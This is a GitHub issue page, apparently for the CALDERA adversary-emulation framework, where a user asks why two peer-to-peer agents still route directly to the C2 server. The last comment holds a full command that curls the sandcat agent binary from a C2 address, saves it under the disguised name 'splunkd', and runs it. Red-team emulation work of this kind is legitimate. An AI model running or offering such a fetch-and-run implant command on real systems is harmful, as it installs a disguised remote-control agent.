-
Notifications
You must be signed in to change notification settings - Fork 1.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
How to set known peers parameters when deploying p2p agents #2694
Comments
Looks like your first issue -- we aim to respond to issues as quickly as possible. In the meantime, check out our documentation here: http://caldera.readthedocs.io/ |
This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days |
@yee-jonathan @uruwhy - Any idea here? |
This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days |
This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days |
@zhangyuchaoxjtu Still having this issue? |
This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days |
This issue is stale because it has been open 20 days with no activity. Remove stale label or comment or this will be closed in 5 days |
@zhangyuchaoxjtu - Reopen if still having issue. |
I deployed two agents with p2p mode, and I used following commands:
server="http://10.1.1.1:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -listenP2P -v
but this didn't work, the two agents cannot communicate to c2 server through the other peer when they cannot communicate to c2 server directly.
In my log, I find that the two peers' uptream destination are all c2 server's address( 10.1.1.1:8888).
The text was updated successfully, but these errors were encountered: